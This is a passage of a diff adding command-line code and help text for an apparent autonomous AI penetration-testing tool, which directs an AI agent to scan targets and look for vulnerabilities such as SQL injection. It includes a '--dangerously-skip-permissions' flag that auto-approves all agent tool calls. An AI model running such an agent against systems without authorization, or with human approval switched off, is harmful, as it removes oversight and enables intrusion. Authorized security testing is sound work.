+ `));
2253
+ const agent = new AutonomousHackingAgent(void 0, { autoApprove: skipPermissions });
2254
+ agent.setTarget(target);
2255
+ agent.on("tool_call", (data) => {
2256
+ console.log(chalk.hex(THEME.hacker.cyan)(`[tool] ${data.name}...`));
2257
+ });
2258
+ await agent.runAutonomous(`Perform a ${options.scanType} scan on ${target}${options.ports ? ` focusing on ports ${options.ports}` : ""}. Analyze the results and identify potential vulnerabilities.`);
2259
+ console.log(chalk.hex(THEME.hacker.green)("[+] Scan complete!"));
2260
+ });
2261
+ program.command("help-extended").description("Show extended help with examples").action(() => {
2262
+ console.log(chalk.hex(THEME.hacker.green)(ASCII_BANNER));
2263
+ console.log(`
2264
+ ${chalk.hex(THEME.hacker.cyan)("Pentest - Autonomous Penetration Testing AI")}
2265
+
2266
+ ${chalk.hex(THEME.hacker.yellow)("Usage:")}
2267
+
2268
+ ${chalk.hex(THEME.hacker.green)("$ pentesting")} Start interactive mode
2269
+ ${chalk.hex(THEME.hacker.green)("$ pentesting -t 192.168.1.1")} Start with target
2270
+ ${chalk.hex(THEME.hacker.green)("$ pentesting --dangerously-skip-permissions")} Auto-approve all tools
2271
+
2272
+ ${chalk.hex(THEME.hacker.yellow)("Commands:")}
2273
+
2274
+ ${chalk.hex(THEME.hacker.cyan)("pentesting")} Interactive TUI mode
2275
+ ${chalk.hex(THEME.hacker.cyan)("pentesting run <objective>")} Run single objective
2276
+ ${chalk.hex(THEME.hacker.cyan)("pentesting scan <target>")} Quick scan target
2277
+
2278
+ ${chalk.hex(THEME.hacker.yellow)("Options:")}
2279
+
2280
+ ${chalk.hex(THEME.hacker.cyan)("--dangerously-skip-permissions")} Skip all permission prompts
2281
+ ${chalk.hex(THEME.hacker.cyan)("-t, --target <ip>")} Set target
2282
+ ${chalk.hex(THEME.hacker.cyan)("-o, --output <file>")} Save results to file
2283
+
2284
+ ${chalk.hex(THEME.hacker.yellow)("Interactive Commands:")}
2285
+
2286
+ ${chalk.hex(THEME.hacker.cyan)("/target <ip>")} Set target
2287
+ ${chalk.hex(THEME.hacker.cyan)("/start")} Start autonomous mode
2288
+ ${chalk.hex(THEME.hacker.cyan)("/hint <text>")} Provide hint
2289
+ ${chalk.hex(THEME.hacker.cyan)("/findings")} Show findings
2290
+ ${chalk.hex(THEME.hacker.cyan)("/reset")} Reset session
2291
+
2292
+ ${chalk.hex(THEME.hacker.yellow)("Examples:")}
2293
+
2294
+ ${chalk.hex(THEME.text.muted)("# Full autonomous mode")}
2295
+ $ pentesting --dangerously-skip-permissions -t 10.10.10.5
2296
+
2297
+ ${chalk.hex(THEME.text.muted)("# Run specific objective")}
2298
+ $ pentesting run "Find SQL injection" -t http://target.com -o report.json
2299
+
2300
+ ${chalk.hex(THEME.text.muted)("# Quick vulnerability scan")}
2301
+ $ pentesting scan 192.168.1.1 -s vuln
2302
+
2303
+ ${chalk.hex(THEME.hacker.yellow)("Environment:")}
2304
+
2305
+ ${chalk.hex(THEME.hacker.cyan)("ANTHROPIC_API_KEY")} Required - Anthropic API key
2306
+ ${chalk.hex(THEME.hacker.cyan)("PENTEST_MODEL")} Optional - Model override
2307
+
2308
+ ${chalk.hex(THEME.text.muted)("For ethical hacking and authorized testing only.")}
2309
+ `);
2310
+ });
2311
+ program.parse();